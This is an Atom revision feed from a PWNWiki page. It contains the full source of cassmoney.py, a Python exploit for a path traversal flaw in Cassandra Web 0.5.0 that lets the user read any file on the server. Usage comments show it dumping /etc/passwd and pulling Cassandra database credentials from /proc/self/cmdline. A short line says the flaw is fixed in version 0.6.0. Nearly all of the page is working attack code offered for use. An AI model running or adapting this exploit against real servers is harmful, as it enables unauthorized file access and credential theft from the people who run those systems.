<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Cassandra_Web_0.5.0_%E9%81%A0%E7%A8%8B%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E</id>
	<title>Cassandra Web 0.5.0 遠程文件讀取漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Cassandra_Web_0.5.0_%E9%81%A0%E7%A8%8B%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Cassandra_Web_0.5.0_%E9%81%A0%E7%A8%8B%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T16:15:02Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Cassandra_Web_0.5.0_%E9%81%A0%E7%A8%8B%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=1300&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Cassandra Web 0.5.0 - Remote File Read # Date: 12-28-2020 # Exploit Author: Jeremy Brown # Vendor Homepage: https://github.com/avalanche123/cass...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Cassandra_Web_0.5.0_%E9%81%A0%E7%A8%8B%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=1300&amp;oldid=prev"/>
		<updated>2021-04-09T08:42:44Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Cassandra Web 0.5.0 - Remote File Read # Date: 12-28-2020 # Exploit Author: Jeremy Brown # Vendor Homepage: https://github.com/avalanche123/cass...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Cassandra Web 0.5.0 - Remote File Read&lt;br /&gt;
# Date: 12-28-2020&lt;br /&gt;
# Exploit Author: Jeremy Brown&lt;br /&gt;
# Vendor Homepage: https://github.com/avalanche123/cassandra-web&lt;br /&gt;
# Software Link: https://rubygems.org/gems/cassandra-web/versions/0.5.0&lt;br /&gt;
# Version: 0.5.0&lt;br /&gt;
# Tested on: Linux&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: UTF-8 -*-&lt;br /&gt;
#&lt;br /&gt;
# cassmoney.py&lt;br /&gt;
#&lt;br /&gt;
# Cassandra Web 0.5.0 Remote File Read Exploit&lt;br /&gt;
#&lt;br /&gt;
# Jeremy Brown [jbrown3264/gmail]&lt;br /&gt;
# Dec 2020&lt;br /&gt;
#&lt;br /&gt;
# Cassandra Web is vulnerable to directory traversal due to the disabled&lt;br /&gt;
# Rack::Protection module. Apache Cassandra credentials are passed via the&lt;br /&gt;
# CLI in order for the server to auth to it and provide the web access, so&lt;br /&gt;
# they are also one thing that can be captured via the arbitrary file read.&lt;br /&gt;
#&lt;br /&gt;
# Usage&lt;br /&gt;
# &amp;gt; cassmoney.py 10.0.0.5 /etc/passwd&lt;br /&gt;
# root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;br /&gt;
# bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;br /&gt;
# ...&lt;br /&gt;
#&lt;br /&gt;
# &amp;gt; cassmoney.py 10.0.0.5 /proc/self/cmdline&lt;br /&gt;
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd&lt;br /&gt;
#&lt;br /&gt;
# (these creds are for auth to the running apache cassandra database server)&lt;br /&gt;
#&lt;br /&gt;
# Fix&lt;br /&gt;
# - fixed in github repo&lt;br /&gt;
# - v0.6.0 / ruby-gems when available&lt;br /&gt;
# (still recommended to containerize / run this in some sandbox, apparmor, etc)&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import urllib.parse&lt;br /&gt;
&lt;br /&gt;
SIGNATURE = 'cassandra.js'&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public&lt;br /&gt;
#&lt;br /&gt;
DT = '../'&lt;br /&gt;
DT_NUM = 8&lt;br /&gt;
&lt;br /&gt;
class CassMoney(object):&lt;br /&gt;
	def __init__(self, args):&lt;br /&gt;
		self.target = args.target&lt;br /&gt;
		self.file = args.file&lt;br /&gt;
		self.port = args.port&lt;br /&gt;
		self.force = args.force&lt;br /&gt;
		self.number = args.number&lt;br /&gt;
&lt;br /&gt;
	def run(self):&lt;br /&gt;
		target = &amp;quot;http://&amp;quot; + self.target + ':' + str(self.port)&lt;br /&gt;
&lt;br /&gt;
		payload = urllib.parse.quote_plus(DT * self.number + self.file)&lt;br /&gt;
&lt;br /&gt;
		try:&lt;br /&gt;
			deskpop = requests.get(target)&lt;br /&gt;
		except Exception as error:&lt;br /&gt;
			print(&amp;quot;Error: %s&amp;quot; % error)&lt;br /&gt;
			return -1&lt;br /&gt;
&lt;br /&gt;
		if(SIGNATURE not in deskpop.text and self.force == False):&lt;br /&gt;
			print(&amp;quot;Target doesn't look like Cassandra Web, aborting...&amp;quot;)&lt;br /&gt;
			return -1&lt;br /&gt;
&lt;br /&gt;
		try:&lt;br /&gt;
			req = requests.get(target + '/' + payload)&lt;br /&gt;
		except:&lt;br /&gt;
			print(&amp;quot;Failed to read %s (perm denied likely)&amp;quot; % self.file)&lt;br /&gt;
			return -1&lt;br /&gt;
&lt;br /&gt;
		if(SIGNATURE in req.text):&lt;br /&gt;
			print(&amp;quot;Failed to read %s (bad path?)&amp;quot; % self.file)&lt;br /&gt;
			return -1&lt;br /&gt;
&lt;br /&gt;
		if(len(req.text) == 0):&lt;br /&gt;
			print(&amp;quot;Server returned nothing for some reason&amp;quot;)&lt;br /&gt;
			return 0&lt;br /&gt;
&lt;br /&gt;
		print(&amp;quot;\n%s&amp;quot; % req.text)&lt;br /&gt;
&lt;br /&gt;
		return 0&lt;br /&gt;
&lt;br /&gt;
def arg_parse():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;target&amp;quot;,&lt;br /&gt;
						type=str,&lt;br /&gt;
						help=&amp;quot;Cassandra Web Host&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;file&amp;quot;,&lt;br /&gt;
						type=str,&lt;br /&gt;
						help=&amp;quot;eg. /etc/passwd, /proc/sched_debug + /proc/&amp;lt;cass-web-pid&amp;gt;/cmdline&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;,&lt;br /&gt;
						&amp;quot;--port&amp;quot;,&lt;br /&gt;
						type=int,&lt;br /&gt;
						default=3000,&lt;br /&gt;
						help=&amp;quot;Cassandra Web Port&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;,&lt;br /&gt;
						&amp;quot;--force&amp;quot;,&lt;br /&gt;
						default=False,&lt;br /&gt;
						action='store_true',&lt;br /&gt;
						help=&amp;quot;Run the payload even if server isn't Cassandra Web&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-n&amp;quot;,&lt;br /&gt;
						&amp;quot;--number&amp;quot;,&lt;br /&gt;
						type=int,&lt;br /&gt;
						default=DT_NUM,&lt;br /&gt;
						help=&amp;quot;Adjust the number of dot-dot-slash&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
	return args&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
	args = arg_parse()&lt;br /&gt;
&lt;br /&gt;
	cm = CassMoney(args)&lt;br /&gt;
&lt;br /&gt;
	result = cm.run()&lt;br /&gt;
&lt;br /&gt;
	if(result &amp;gt; 0):&lt;br /&gt;
		sys.exit(-1)&lt;br /&gt;
&lt;br /&gt;
if(__name__ == '__main__'):&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>